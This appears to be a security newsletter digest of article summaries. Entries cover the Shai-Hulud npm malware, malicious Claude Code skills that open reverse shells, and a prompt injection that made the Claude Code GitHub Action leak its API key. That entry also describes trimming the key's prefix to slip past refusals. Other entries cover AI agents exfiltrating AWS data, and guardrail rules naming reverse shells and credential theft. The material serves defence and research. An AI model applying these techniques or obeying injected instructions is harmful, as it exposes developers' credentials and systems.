    TL;DR: Datadog statically analysed the leaked source of TeamPCP’s Shai-Hulud supply-chain framework, covering how it steals CI and cloud credentials, spreads through npm and GitHub, and how to hunt it.

    • Context: The source showed up in a GitHub repo on May 12, 2026, was removed, but forks had already spread. It is a modular TypeScript/Bun toolkit.
    • Architecture: Loaders, providers (files, env, CI runners, AWS, Kubernetes, Vault), a collector with a 100KB flush, a dispatcher with failover, senders and mutators.
    • Credential theft: Scans 100+ sensitive paths, reads the gh token and env, and scrapes CI runner memory before masking applies. It enumerates Secrets Manager and SSM across 17 regions.
    • Exfil and C2: AES-256-GCM payloads wrapped with RSA-4096-OAEP. Data goes over HTTPS C2 or uses GitHub repos as dead drops, with a fallback C2 found through signed commits.
    • Propagation: Plants IDE and AI-assistant hooks in branches and publishes backdoored npm packages with stolen tokens or CI OIDC, including forged Sigstore provenance.
    • Persistence and sabotage: A LaunchAgent or systemd user monitor runs a destructive command if the stolen GitHub token is revoked. It self-terminates after 24 hours.
    • Hunting: Look for SessionStart hooks calling setup.mjs in .claude/settings.json, and .vscode/tasks.json with runOn: "folderOpen". Also check for chore: update dependencies commits and new preinstall scripts.
    • Limits: Static analysis only. Compiled hashes cannot be reproduced from source, and three known TeamPCP capabilities are missing from this code.

    Takeaway: Kill the persistence monitor before you rotate tokens. Audit repos for malicious Claude Code and VS Code hooks, and move npm publishing to trusted publishing with provenance checks.

  • vanguard: Cross-Platform DFIR Toolkit in a Single Portable Binary
    summary

    TL;DR: VanGuard is a single-binary Go DFIR toolkit for Windows and Linux that wraps common IR tools behind TUI and web interfaces, with case management and chain of custody.

    • Problem: IR work means juggling many tools and flags and tracking evidence by hand. VanGuard puts the whole lifecycle in one portable program.
    • Integrations: 11 tools, including Velociraptor, Hayabusa, Chainsaw, Loki, KAPE, EZ Tools, UAC, WinPMEM, AVML and Volatility3. They are downloaded at runtime from GitHub releases.
    • Evidence handling: A SQLite case database, MD5 and SHA256 hashing at collection time, an append-only chain of custody and HMAC-SHA256 audit logs.
    • Triage: Native collection of 20+ Windows and 15+ Linux artifact categories, plus live checks for LOLBins, autoruns, SUID binaries and persistence.
    • Remote ops: Runs in parallel across endpoints over WinRM (NTLM), SSH or PSExec, and manages Velociraptor server and agent deployment.
    • Use cases: 28 YAML workflows mapped to MITRE ATT&CK (13 Windows, 12 Linux, 3 cross-platform), such as ransomware, DCSync and container escape.
    • Setup: Run as root or Administrator. Build from source with CGO_ENABLED=1 go build. Air-gapped mode uses SHA256-verified offline bundles.
    • Caveats: Claims like “tamper-evident” are self-described. It depends heavily on third-party tools, and the README lists no limitations.

    Takeaway: Consider VanGuard as a jump-kit to stage on USB for air-gapped triage. Validate its collection and hashing in a lab before you rely on it for evidence.

  • Skill Issues: Compromising Claude Code with Malicious Skills & Agents, Part 1
    summary

    TL;DR: Reversec shows how malicious Claude Code skills and sub-agents in untrusted repos can get command execution on a developer machine. Treat them like untrusted packages.

    • Thesis: Skill and agent .md files are effectively executable instructions, and they are often installed from sites like skills.sh with little vetting.
    • Dynamic context injection: !`...` commands in a skill run before the LLM reasons about them, with no prompt. A socat reverse shell ran this way.
    • allowed-tools: Frontmatter allowed-tools: Bash(*) pre-approves Bash, but it does not override user deny rules.
    • Read-only abuse: Auto-approved commands like git diff can run a script through a pre-set git config diff.external. This needs setup outside the session.
    • Subcommand cap: Commands with more than 50 subcommands skip deny-list checks but still prompt. Code comments say the cap is not a security boundary.
    • Agents: permissionMode: bypassPermissions in attacker-written agents ran a reverse shell. An agent also installed a backdoored npm package under a plausible pretext.
    • Defence: Deny rules in user settings override skill and agent permissions and worked as a guardrail. Denying Bash blocks these attacks but costs usefulness.
    • Caveats: The examples were deliberately unstealthy and tested on Ubuntu against one version. Plugin agents reportedly ignore permissionMode, which is still untested.

    Takeaway: Review any .claude/ skills, agents and CLAUDE.md before you trust a repo. Enforce deny rules through managed settings, and sandbox coding agents from the host and the network.

  • Running Codex Safely
    summary

    TL;DR: OpenAI describes how it deploys Codex internally: sandboxing, approval policies, managed network and identity controls, and agent-native OpenTelemetry logs fed to an AI triage agent.

    • Principle: Codex is productive inside a bounded environment. Low-risk actions are frictionless, and higher-risk actions stop for review.
    • Sandbox vs approvals: The sandbox sets the technical boundary: writable paths, network and protected paths. The approval policy decides when Codex must ask.
    • Auto-review: A subagent gets the planned action and recent context, then approves low-risk actions automatically instead of interrupting the user.
    • Network: No open-ended egress. A managed policy allows expected destinations, blocks unwanted ones and requires approval for unfamiliar domains.
    • Identity: CLI and MCP OAuth credentials live in the OS keyring. Login is forced through ChatGPT and pinned to the enterprise workspace.
    • Rules and config: Command rules allow benign commands and block or gate dangerous ones. Cloud requirements, macOS managed preferences and local requirements files enforce non-overridable settings.
    • Telemetry: OpenTelemetry export covers prompts, approval decisions, tool results, MCP usage and network proxy allow or deny events, and can go to a SIEM.
    • Triage: Endpoint alerts are paired with Codex logs so an AI triage agent can explain user and agent intent before humans review.

    Takeaway: For coding agents, enforce sandbox, egress allow-lists and approval rules through managed config. Ship agent logs to your SIEM so alerts come with intent context.

  • entra-ca-insight: Discover Gaps in Entra Conditional Access Policies Before Attackers Do
    summary

    TL;DR: CA Insight is an open-source tool that finds gaps in Entra Conditional Access proactively. It evaluates every access combination offline, so gaps show up before anyone exploits them.

    • Problem: Sign-in-log gap analysis is reactive. Gaps nobody has used yet never appear in the logs.
    • Gap definition: An access combination (identity, app, platform, location, client type) where no policy enforces block, MFA or authentication strength.
    • How it works: Pulls policies and Entra objects from Microsoft Graph, generates all access combinations and evaluates them offline against the CA configuration.
    • Lineage: The identity-centric approach is inspired by Joosua Santasalo’s archived caOptics project.
    • Coverage: Member, guest and external users, workload identities and agent identities.
    • Interfaces: A CLI for CI/CD automation and a web portal with scan history, coverage trends, config comparison and exports.
    • Safety: Read-only operations that never modify policies.
    • Caveats: A personal, as-is project (GPL-3.0, “Vibe Coded” badge). The README lists no Graph permissions, and install steps are in the wiki.

    Takeaway: Run CA Insight against your tenant in CI to catch identities or apps that fall back to password-only. Validate findings in non-prod before you change policies.

  • SCAM: Security Comprehension Awareness Measure, a Benchmark for AI Agent Security Awareness
    summary

    TL;DR: 1Password’s SCAM benchmark tests whether AI agents notice phishing, credential and data-leak threats in routine multi-turn tasks, and ships a skill that roughly doubles safety scores.

    • Problem: Most benchmarks ask a model whether an email is malicious. SCAM checks whether an agent spots threats unprompted while working.
    • Method: Agents do ordinary tasks with simulated MCP servers for inbox, password vault and browser. Everything is sandboxed with no real credentials.
    • Scenarios: 30 scenarios across 9 categories, including phishing, credential autofill, confused deputy, multi-stage attacks and prompt injection.
    • Security skill: skills/security-awareness/SKILL.md teaches agents to verify domains, read before forwarding and check URLs before entering credentials.
    • Numbers: The skill reportedly raised average safety scores from about 50% to about 90% across the models tested.
    • Run it: pip install -e ".[dev]", set an OpenAI, Anthropic or Google API key, then scam evaluate -i. Install the skill with npx add-skill 1Password/SCAM.
    • Caveats: The README has no per-model results or methodology for the averages, which are on the project site. Simulated tools and 30 scenarios limit coverage.

    Takeaway: Add a security-awareness skill or system prompt to agents that touch email, vaults or browsers. Use SCAM to measure the difference on your own model choice.

  • ghosttype: Forensic Scanner for Credentials in AI Tool Conversation History
    summary

    TL;DR: ghosttype is a local forensic scanner that extracts secrets from AI tool conversation history and verifies them with TruffleHog, showing which leaked credentials are still live.

    • Problem: Developers paste secrets into AI tools, and the conversations sit in local files.
    • Sources: Claude Code JSONL history, Cursor state.vscdb, Codex CLI SQLite and logs, and Keychain-encrypted ChatGPT Desktop files. Claude Desktop is a stub only.
    • How it works: Per-tool decoders write text to temp files, run TruffleHog as a subprocess, map hits back to conversations, then delete the temp directory.
    • Engines: TruffleHog has 800+ detectors with live verification. An in-tree engine adds 30 regex and 10 heuristic patterns that run offline and are never verified.
    • Usage: ghosttype scan, --only-verified, --no-verification, --redact and --max-age-days. Output goes to findings.json and findings.csv.
    • CI: Exit codes support pipeline gating, and ghosttype doctor checks the environment. Requires Python 3.11+ and TruffleHog 3.x.
    • Detection note: Verification calls credential issuers like AWS, GitHub and Stripe, which can appear in their audit logs.
    • Limits: Full coverage is macOS only, and pattern hits may be false positives. Use only with written authorization.

    Takeaway: Scan your own workstation’s AI chat history with ghosttype, rotate any verified hits, and keep secrets out of prompts.

  • Practitioner’s Guide to Agentic AI Security
    summary

    TL;DR: Nudge Security’s vendor guide argues that employee-adopted AI agents act as unmanaged digital workers with persistent SaaS credentials, and sets out four steps to govern them.

    • Problem: Agents are spun up inside existing SaaS tools and browsers without security review, and they inherit the delegating employee’s permissions.
    • Connectivity: MCP servers bridge agents to systems like Zendesk and Salesforce, turning them into cross-system actors.
    • Numbers: Over 90% of apps are adopted outside IT. The average organization runs 26 AI apps, and each employee holds 70 OAuth grants, 11 of them high risk (Nudge data).
    • Blind spots: Shadow agentic AI, long-lived OAuth tokens and API keys, workflows that cross compliance boundaries, and fewer chances to intervene.
    • Step 1, visibility: Inventory agents, connected systems, OAuth scopes, API keys, MCP connections and who authorized each one.
    • Step 2, assess: Continuously evaluate access, data exposure, integration (including prompt injection) and behavioural risk.
    • Step 3, least privilege: Audit grants, prefer read-only and time-limited credentials, review high-risk agent credentials at least quarterly and watch for scope creep.
    • Step 4, workforce: Clear AI acceptable-use policy, just-in-time browser prompts and a fast approval path. Cites Gartner 2022: 69% of employees bypass controls.
    • Caveats: The publisher sells SaaS and AI discovery tooling. Statistics are vendor-sourced, and the guide contains no technical controls beyond process.

    Takeaway: Add agent and MCP connections to your OAuth and API-key inventory. Flag write-scoped or admin tokens tied to AI tools and put them on a quarterly rotation and review cycle.

  • Automating Security Operations With AI: Triage and Renovate
    summary

    TL;DR: Marco Lancini pairs monthly Renovate runs with a Claude Code skill and cloud routine that auto-reviews each dependency PR and posts a risk matrix before a human looks.

    • Problem: Majors, 0.x jumps, dead dependencies and deprecated framework configs slip past CI. Manual review of every bump does not scale.
    • Renovate config: Monthly cron, 10 concurrent PRs, minimumReleaseAge: "14 days" and internalChecksFilter: "strict". Deterministic [RENOVATE] title prefixes identify the stack.
    • Routine: A Claude Code cloud routine fires on PR open for [RENOVATE] titles, runs the renovate-review skill and posts via gh pr comment.
    • Risk tiers: High covers majors, 0.x and frameworks like Next.js, TypeScript and Pydantic. Medium covers known minor-breakers. Low covers patches and dev tooling.
    • Checks: Greps imports to flag [DEAD] dependencies, queries Context7 for breaking changes and scans for deprecated configs like baseUrl in TS 6 or middleware.ts to proxy.ts in Next.js 16.
    • Verdicts: [SAFE], [VERIFY], [DEAD], [MIGRATE], [RESOLVED] and [UNKNOWN]. Fixes are proposed as diffs, and the skill never commits or pushes.
    • Numbers: The author claims the 14-day age filter alone would have blocked 90+% of 2026 attack waves, without supporting data.
    • Limits: No node_modules in the cloud, so installed versions may be wrong. Python deprecations are incomplete, multi-project PRs are refused and there is no measured time saving.

    Takeaway: Add a release-age delay to Renovate or Dependabot now. Then automate read-only, LLM-assisted triage of bumps that checks actual usage and framework deprecations.

  • ax: Google’s Open Source Distributed Agent Runtime
    summary

    TL;DR: Google’s AX (Agent Executor) is an open-source, Kubernetes-style declarative orchestrator for running sandboxed autonomous agent workloads at scale on top of Agent Substrate.

    • Problem: Agents are neither stateless services nor batch jobs. They hold state, need strict isolation, call model and tool APIs, and can run up costs in loops.
    • Resources: ax.io/v1alpha1 manifests define a Task (sandboxed agent code with CPU and memory limits), a Workspace (Git repos, MCP servers, skills) and a Model (LLM config with a Kubernetes secret).
    • Features: Suspend and resume with checkpoints, ax ssh into running agents when spec.debug: true, and kubectx awareness.
    • CLI: kubectl-like verbs (apply, get, describe, watch, delete) plus ax suspend and ax resume.
    • Setup: Install Agent Substrate in ate-system, then go install github.com/google/ax/cmd/ax@latest and make deploy AX_IMAGE_REPO=<registry>, which deploys Redis and the control plane via ko.
    • Scale claim: The README says it is “built to run billions of tasks per cluster”. No benchmark is provided.
    • Caveats: In heavy development with expected breaking changes. It hard-depends on Agent Substrate reachable at api.ate-system.svc.cluster.local:443.

    Takeaway: If you run agents on Kubernetes, watch AX as a model for sandboxed, resource-limited agent tasks. Keep it out of production until the API stabilises.

  • pathfinding.cloud Labs: Hands-On AWS IAM Privilege Escalation Labs
    summary

    TL;DR: Pathfinding Labs, by Seth Art at Datadog, deploys 100+ intentionally vulnerable AWS IAM scenarios via Terraform for practising privilege escalation attacks and testing detection.

    • What it is: A modular lab platform behind pathfinding.cloud. Each lab is a self-contained module you can enable or disable on its own.
    • Taxonomy: Self-escalation, one-hop, multi-hop and cross-account privilege escalation, plus CSPM misconfigurations and toxic combinations.
    • Examples: iam:CreateAccessKey on an admin user, iam:PassRole plus lambda:CreateFunction, ssm:SendCommand to an admin EC2, and iam:PutRolePolicy on self.
    • Tooling: The plabs CLI/TUI: plabs init, plabs enable <id>, plabs apply, plabs demo <id> and plabs destroy. Install via go install or Homebrew.
    • Deployed resources: Resources use a pl- prefix. A starting user has only sts:GetCallerIdentity and iam:GetUser, and a broad cleanup admin user is added.
    • Exposure: Privesc labs are IAM-only. Some CSPM and toxic-combo labs create public S3 buckets, Lambda URLs or open security groups.
    • Cost: Most labs are free. Compute labs incur small charges, and a $10-20/month billing alert is recommended.
    • Caveats: Use sandbox accounts only, never production. Cross-account labs need dev and ops profiles.

    Takeaway: Deploy a few labs in a sandbox account to check whether your CSPM and CloudTrail detections catch each escalation path, then run plabs destroy.

  • The AWS AI Security Framework: Securing AI with the Right Controls, at the Right Layers, at the Right Phases
    summary

    TL;DR: AWS’s AI Security Framework maps controls for AI workloads across three use cases, three layers and three maturity phases, and names the specific AWS service for each control.

    • Thesis: Build AI on top of existing security rather than bolting security onto AI.
    • Why AI differs: Non-deterministic outputs, mixed prompts that enable injection, adapting behaviour and autonomy, which require output validation, continuous monitoring and scoped authorization.
    • Use cases: AI that answers (chat), AI that connects (RAG) and AI that acts (agents, A2A, MCP, physical AI). Controls are cumulative.
    • Layers: Infrastructure (Nitro, VPC, Network Firewall), identity and data (IAM, KMS, Secrets Manager, AgentCore Identity), and the AI application layer (Bedrock Guardrails, WAF, CloudWatch).
    • Phases: Foundational (identity, encryption, filtering, logging), Enhanced (classification, threat detection, IR) and Advanced (governance, testing, forensics).
    • Agent controls: AgentCore Policy with Cedar authorization independent of the model, per-agent temporary credentials and Strands SDK hooks for human-in-the-loop.
    • Worked example: A prompt-injection attempt passes ten control points from Cognito MFA through Guardrails and egress inspection to GuardDuty and CloudTrail.
    • Numbers: Cites McKinsey (80% adopt AI, 10% govern it), IBM (97% of breached orgs lacked AI access controls) and up to 99% Automated Reasoning accuracy.
    • Caveats: Service lists are non-exhaustive. Some features are in preview, vendor accuracy claims are unverified and there is no MITRE ATLAS or NIST AI RMF mapping.

    Takeaway: Classify each AI workload as answers, connects or acts, then apply that tier’s controls. For agents, enforce tool authorization outside the model with Cedar and use scoped per-agent credentials.

  • Governing Infrastructure as Code Using Pattern-Based Policy as Code
    summary

    TL;DR: AWS proposes organizing IaC policy-as-code around five reusable control patterns, enforced pre-deployment with OPA on Terraform plan JSON in CI, and layered with AWS-native runtime governance.

    • Problem: Unapproved Regions, open security groups, missing tags and assumed but absent encryption. Manual review does not scale.
    • Patterns: Required metadata, allowed configuration, exposure restriction, protection enforcement and privilege constraint. They give security, GRC and engineering a shared vocabulary.
    • How it works: terraform show -json turns the plan into JSON, which is evaluated by a shared OPA/Rego library in GitLab CI or GitHub Actions, and results are kept as artifacts.
    • Example rules: S3 buckets without a Deny on aws:SecureTransport false, 0.0.0.0/0 on ports 22, 3389 and 5432, and wildcard principals in role trust policies.
    • Layering: OPA covers pre-deployment. Organizations and Control Tower provide guardrails, and Config and Security Hub provide post-deploy visibility.
    • Gates: Quality gates are automated pass/fail. Approval gates are human promotion decisions informed by the OPA artifact.
    • Caveats: The sample rules are narrow: IPv4 only, exact principal and action forms, Allow only. They need review, positive and negative tests, and an exception process.
    • Rollout: Start advisory with two or three high-confidence patterns, enforce stable rules, then version the package and expand.

    Takeaway: Wire terraform show -json plus OPA into PR pipelines in advisory mode first. Add IPv6 and alternate-syntax cases to rules before you block merges.

  • AI Is Making Your Thinking Worse (And How to Fix It)
    summary

    (Could not fetch full text.)

    TL;DR: A roughly 14-minute Leila Hormozi video (podcast Ep. 364) arguing that outsourcing thinking to AI degrades your work, and that you should use AI as an editor instead.

    • Source: Leila Hormozi’s channel, published May 19, 2026. Also released as Ep. 364 of Build with Leila Hormozi.
    • Thesis: “AI isn’t the problem. Using it to avoid thinking is.” It is based on a memo she wrote after seeing her team misuse AI.
    • Mistakes: Per third-party summaries: letting AI think for you, producing generic “AI slop” writing, and pattern-matching that favours sounding nice over clarity.
    • Chapters: Spotting and correcting AI-generated writing, and pattern-matching versus clear writing from clear thinking.
    • Fix: Draft with voice dictation instead of AI. Then use AI to test clarity, logic and emotional impact.
    • Framework: The final chapter gives a step-by-step framework for using AI correctly. Its details could not be verified.
    • Caveats: No transcript was available. Points come from the episode description, chapter list and directory summaries.

    Takeaway: Write your own drafts of designs, postmortems and RFCs first. Use AI to critique them, not to generate the reasoning.

  • prempti: Falco-Powered Guardrails and Real-Time Visibility for AI Coding Agents
    summary

    TL;DR: Prempti is an early-preview Falco Sandbox project that intercepts AI coding agent tool calls and returns allow, deny or ask verdicts from Falco rules, with a full audit trail.

    • How it works: An agent hook fires before each tool call; the interceptor sends it over a Unix socket to a Falco plugin whose rules return Allow, Deny or Ask.
    • Modes: Guardrails enforces verdicts; Monitor logs them but always lets calls proceed, useful for rule tuning. Switch with premptictl mode <guardrails|monitor>.
    • Coverage: Shell commands, file read/write/edit, web fetches and MCP calls; denials include an explanation the agent can act on.
    • Default rules: Deny sensitive paths like ~/.ssh/, ~/.aws/, .env; flag pipe-to-shell, reverse shells, IMDS access, exfiltration, .mcp.json poisoning, git hook and registry-redirect persistence.
    • Custom rules: Standard Falco YAML in ~/.prempti/rules/user/, surviving upgrades; a prempti-falco-rules Claude Code skill helps draft and validate them.
    • Platforms: Claude Code supported on Linux, macOS and Windows (x86_64 and aarch64); Codex support on Linux is experimental via codex-interceptor.
    • Setup: macOS .pkg (unsigned, Gatekeeper may block), Linux tarball with install.sh and a systemd user service, Windows .msi; verify with premptictl health.
    • Limits: Hook-level only, so it sees requested commands, not their effects; Bash is judged as declared and MCP only on input. It is not a sandbox.

    Takeaway: Run Prempti in Monitor mode first to audit what your coding agents actually do, then enforce rules, but keep real containment and least privilege underneath it.

  • AI Was Supposed to Save Time. Why Am I Busier?
    summary

    (Could not fetch full text.)

    TL;DR: Dan Shipper of Every argues in a video that AI agents do not remove human work; cheap competence pushes human work up to framing, review and improvement.

    • Source: Video “AI Was Supposed to Save Time. Why Am I Busier?” on the Every channel; summary based on its description and chapter list only, no transcript.
    • Thesis: AI makes skilled expertise cheap and widely available, but frontier progress creates more work for humans, not less.
    • At Every: The company uses Codex, Claude Code and agents across coding, writing, design, customer support, consulting and operations.
    • Two shapes: Agents show up either as delegation to agents or as human-agent collaboration inside tools like Codex and Claude Code.
    • Paradox: Cheap competence yields more attempts and more generic output, raising demand for experts who frame, review and improve the work.
    • Topics covered: Why every agent needs a human, what “slop” really means, “Zeno’s paradox of AI”, and what to do next.
    • Companion essay: The argument is expanded in the written essay “After Automation” on every.to.

    Takeaway: Plan for agents to shift your team’s effort toward framing tasks and reviewing output, and budget expert review time instead of assuming headcount savings.

  • What My Privacy and Security Stack Actually Looks Like
    summary

    TL;DR: A privacy and security journalist shares her personal, threat-model-specific stack of habits, tools and services for reducing exposure without making daily life unworkable.

    • Framing: Not a recommendation list; her situation differs from yours, and the goal is less unnecessary exposure while staying functional.
    • Habits: Treat urgency as a red flag and verify through a separate channel; research new contacts, meet in public, share location with someone.
    • Address hiding: PO Box instead of home address, her own data-broker opt-out guide plus paid EasyOptOuts, and Google result removal, which “sometimes works”.
    • Accounts: Three YubiKeys preferred over passkeys, always with a backup; 1Password and Bitwarden; Ente Auth for TOTP; email MFA only over SMS fallback.
    • Hardening modes: Google Advanced Protection Program and Apple Lockdown Mode; Google Fi chosen for SIM-swap protection tied to the protected Google account.
    • Devices: Encrypted drives, backups, prompt updates, permission audits, ad tracking off, biometrics avoided for her threat model, iVerify for device checks.
    • Browsing: Mullvad VPN occasionally to hide her IP from specific sites, not her ISP; Privacy Badger and uBlock Origin; avoids AI-based browsers.
    • Hygiene: Signal with disappearing messages, iCloud Hide My Email aliases, HaveIBeenPwned monitoring, frozen credit, credit cards over Zelle or Venmo.
    • Caveats: She discloses ties to Cyd (Lockdown Systems collective) and a past iVerify project; the list is not comprehensive.

    Takeaway: Use this as a checklist to compare against your own threat model, especially hardware keys with backups, carrier SIM-swap protection and data-broker removal.

  • Comparing AI Application Security Testing Platforms
    summary

    TL;DR: Doyensec compared Aikido Attack AI Pentest and XBOW Lightspeed on two random OSS web apps; both found real bugs with few false positives, differences mostly incremental.

    • Setup: Targets picked at random from 442 apps derived from awesome-selfhosted: Fider 0.33.0 (Go) and Photoview 2.4.0 (TypeScript), on a t2.medium EC2.
    • Sponsorship: Aikido funded the study and shaped constraints, but Doyensec says it had no role in data collection or results.
    • Cost: Both run at about $4,000 tiers (Aikido Standard, XBOW Plus); Aikido offers unlimited retests within 90 days, XBOW one retest within 30.
    • Numbers: Aikido 49 true positives and 2 false positives across 51 findings; XBOW 31 true positives and 1 false positive; FP/TP ratio 4% vs 3%.
    • Severity: Both mostly overstated severity; correct severity about 69% for Aikido and 68% for XBOW after manual review.
    • Overlap: Only 3 identical findings on Fider and 4 on Photoview, so each tool found largely different issues.
    • Operations: Aikido took under 20 minutes to configure and about 8 hours per scan; XBOW needed sales approval, 22+ emails and over a week for Fider.
    • Side effects: XBOW’s agent disabled auth, deleted the test account, exhausted the instance, and triggered over 4,800 emails during Fider testing.
    • Limits: Only two apps and one config each; true and false negatives were not measured, and duplicate root causes inflate counts.

    Takeaway: If evaluating AI pentest platforms, run them against staging copies with rate limits and disposable accounts, and budget manual triage to re-score severities.

  • From Leaked AWS Key to Data Exfiltration in 60 Seconds: Are We Ready?
    summary

    TL;DR: An experiment shows Claude Code, given only a leaked low-privilege AWS key and no AWS guidance, reached data exfiltration in about one minute in 7 of 12 runs.

    • Scenario: A CI/CD IAM user can read Terraform state in S3; the state holds a second user’s access keys, which can sts:AssumeRole into a role with customer data.
    • Agent: Plain Claude Code with Sonnet and Haiku, prompted as an authorized pentest or CTF; 6 runs each, Sonnet succeeding far more often.
    • Speed: Most successful runs finished in about 1 minute; the author estimates a skilled human needs at least 10 to 20 minutes.
    • Kill chain: Every success followed six phases: identity check, policy read, credential recovery from state, role assumption, bucket enumeration, exfiltration.
    • Failure point: Runs failed when the agent skipped ListUserPolicies + GetUserPolicy, missed the bucket name, and fell back to brute-forcing S3 names.
    • Detection signals: Every run began with GetCallerIdentity; successes ran ListUserPolicies, GetUserPolicy and the first GetObject within about 15 seconds.
    • Session names: All 7 successful AssumeRole calls used session names containing pentest or ctf, a cheap detection hook.
    • Caveat: CloudTrail delivers logs about every 5 minutes, so log-based alerting and automation may fire after exfiltration is already done.
    • Reproduce: Terraform for the lab is in the author’s cloud-ranges repo under aws-tfstate-exfil.

    Takeaway: Never let Terraform write access keys into state, restrict who can read state buckets, and add honeytokens because CloudTrail-based response is too slow for agent-speed attacks.

  • Hidden Gaps in Claude Code Security Reviews
    summary

    TL;DR: An experiment shows Claude Code’s /security-review misses real bugs when run in the session that wrote the code, and the diff-only security plugin misses cross-commit permission chains.

    • Tools compared: /security-review (full branch, same or new session), the May 2026 security guidance plugin (current-turn diff, separate Opus 4.7 call), and Team/Enterprise Code Review.
    • Test target: A vibe-coded Telegram bot seeded with fail-open auth, unrestricted Bash(python3:*) in --allowedTools, and a Write plus scoped python3 write-then-execute chain.
    • Same-session bias: In-session review reported zero vulnerabilities; a cold session found the fail-open auth (High, 0.95) and an unseeded path traversal (Medium, 0.82).
    • Root cause: The reviewer inherits the conversation and validates design choices instead of challenging them; its false-positive filter dismissed a real chain as “same person”.
    • Known-safe trap: A cold reviewer saw list-form subprocess.run without shell=True, marked it safe, and never evaluated the broad Bash(python3:*) permission.
    • Diff isolation: The plugin flagged Write and python3:* separately when added together, but found nothing when Write was already committed earlier.
    • Side effect: A commit message naming removed permissions led Claude to restore broad python3:*; the author notes the sample is small.
    • Caveats: One codebase, three seeded flaws; the cost rationale for diff-only scope is the author’s inference.
    • Mitigation idea: A session hook warning on same-session review works, but decision: block forces a rerun and fails silently in Claude Desktop.

    Takeaway: Run /security-review in a fresh session, review permission combinations across commits rather than single diffs, and keep human review in the loop.

  • container: Linux Container Machines on macOS
    summary

    TL;DR: Apple’s container docs describe container machines: persistent Linux environments on macOS built from OCI images that share your home directory, trading container isolation for convenience.

    • What it is: A full Linux install, not a single app, built from a standard OCI image whose own /sbin/init runs as PID 1.
    • Home sharing: Your macOS home is mounted read-write at the same path and SSH_AUTH_SOCK is forwarded, so you edit on macOS and build in Linux.
    • Isolation loss: All Linux capabilities are added and /proc and /sys are unmasked and writable; the docs warn this is close to running a program directly on the host.
    • Accounts: A guest user matching host UID/GID and home is created with passwordless sudo (NOPASSWD:ALL), reapplied on every boot.
    • Commands: container machine create, run, set-default, ls, inspect, stop, rm and set; machine can be shortened to m.
    • Config: cpus, memory (default half of host RAM), home mount rw, ro or none; changes apply only after stop and start.
    • Nested virtualization: Needs Apple Silicon M3 or later, macOS 15 or later, and a kernel with CONFIG_KVM=y; the default kernel lacks it.
    • Custom images: Must provide /sbin/init, /bin/sh, getent, date with %s, chown, mkdir, cp and tr; sudo is optional.
    • Use cases: Per-distro dev machines (Alpine, Ubuntu, Debian), real services via systemctl, and macOS debuggers or browsers against Linux builds.

    Takeaway: Use container machines only with images you trust, and set the home mount to ro or none when a machine does not need write access to your files.

  • fwd:cloudsec North America 2026
    summary

    (Could not fetch full text.)

    TL;DR: YouTube playlist of fwd:cloudsec North America 2026 conference talks on cloud security, with heavy focus on AI agents, identity and cloud attack paths.

    • Source: Playlist “fwd:cloudsec North America 2026” on the fwd:cloudsec channel, 38 entries; summary based on talk titles only, no transcripts.
    • Cloud attacks: “Push-Pull-Pwn” on container registry poisoning, “Zapocalypse” on a Zapier Lambda memory leak, and recycled namespaces in global OIDC issuers.
    • AWS research: C2 through an AWS data perimeter via Bedrock AgentCore, AI-driven discovery of new AWS privilege escalation paths, and data perimeters “beyond the marketing”.
    • AI agents: Talks on building an AI worm, agent identities, context-aware authorization for agent tool calls, and agentic least-privilege role engineering.
    • Other clouds: OCInferno, an offensive toolkit for OCI; implicit Azure networking paths; retrofitting VPC-SC at enterprise scale.
    • Kubernetes and SDLC: Observing escalation paths in Kubernetes, defending Lovable projects from malicious code, and visualizing SDLC threats with SITF.
    • Operations: Cloud security alerting at scale, stress-testing cloud incident response, attack simulation programs, and running a program without a 20-person team.

    Takeaway: Pick the talks matching your stack, especially the AWS privilege escalation, OIDC namespace and agent identity sessions, and check your environment for the techniques shown.

  • Well-Architected Best Practices for Software Supply Chain Security
    summary

    TL;DR: AWS maps layered consumer-side defenses against malicious packages to Well-Architected Security Pillar practices, motivated by npm incidents like Shai-Hulud, Chalk/Debug and axios.

    • Temporary credentials (SEC02-BP02): Use aws login or IAM Identity Center for developers and OIDC federation for CI/CD; store unavoidable third-party secrets in Secrets Manager with rotation.
    • Least privilege and rotation: Apply SEC03-BP02 and SEC02-BP05; during an incident rotate all long-term credentials and use GuardDuty and CloudTrail to find abnormal IAM activity.
    • Defense in depth: MFA, separate roles for sensitive workloads, and multi-party approval inside deployment pipelines so one stolen developer credential cannot reach production.
    • Artifact signing: Restrict signer:StartSigningJob to pipeline roles; ECR managed signing signs on push; Kyverno on EKS or ECS lifecycle hooks verify before deploy.
    • Dependency control (SEC11-BP05): CodeArtifact package groups allow only approved upstreams, guarding against typosquatting; pin versions and pull compromised ones fast.
    • Provenance: Check npm Sigstore provenance (npm 9.5+) before adding dependencies; maintainers publish with npm publish --provenance; it is a signal, not a guarantee.
    • Scanning: Inspector covers code, dependencies, IaC and ECR images; keep SPDX or CycloneDX SBOMs to assess blast radius.
    • Detection: Watch CloudTrail for ecr:PutImage outside CI/CD, lambda:UpdateFunctionCode outside deploy windows, iam:CreateAccessKey, unexpected sts:AssumeRole.
    • Caveats: CVE scanners lag new malicious packages by days or weeks; sleeper packages evade static analysis; approvals slow deploys.

    Takeaway: Move CI/CD to OIDC, gate production deploys on signature verification, proxy dependencies through an allow-listed registry, and alert on artifact pushes outside pipelines.

  • Securing CI/CD in an Agentic World: Claude Code GitHub Action Case
    summary

    TL;DR: Microsoft found prompt injection in GitHub issues or PRs could make the Claude Code GitHub Action read /proc/self/environ and leak ANTHROPIC_API_KEY; fixed in 2.1.128.

    • Root cause: Bash ran in a Bubblewrap sandbox with a scrubbed environment (CLAUDE_CODE_SUBPROCESS_ENV_SCRUB), but the Read tool ran in-process and saw the full environment.
    • Injection: Payloads hide in issue bodies, PR descriptions or comments, including HTML comments invisible when rendered.
    • Safety bypass: Framed as a “compliance review”, the prompt asked to trim the first seven characters, hiding the sk-ant- prefix from refusals and GitHub secret scanning.
    • Exfiltration: Via WebFetch or Bash to a remote domain, a GitHub MCP issue comment, or the Action log when show_full_output is enabled.
    • Exposure: Depends on workflow config, which is usually public in .github/workflows/; other runner credentials may also be exposed.
    • Timeline: Reported via HackerOne on April 29, 2026; mitigated May 5, 2026 by rejecting sensitive /proc files. No CVE listed.
    • Related case: An injection attempt steered an issue-triage bot toward adding an XSS payload to documentation via a pull request.
    • Method: Black-box testing found nothing; white-box review of the Action code and obfuscated Agent SDK found the flaw.
    • Mitigations: Apply the Agents Rule of Two (untrusted input, secrets access, external effects: never all three), one scoped key per workflow, and hardened system prompts.

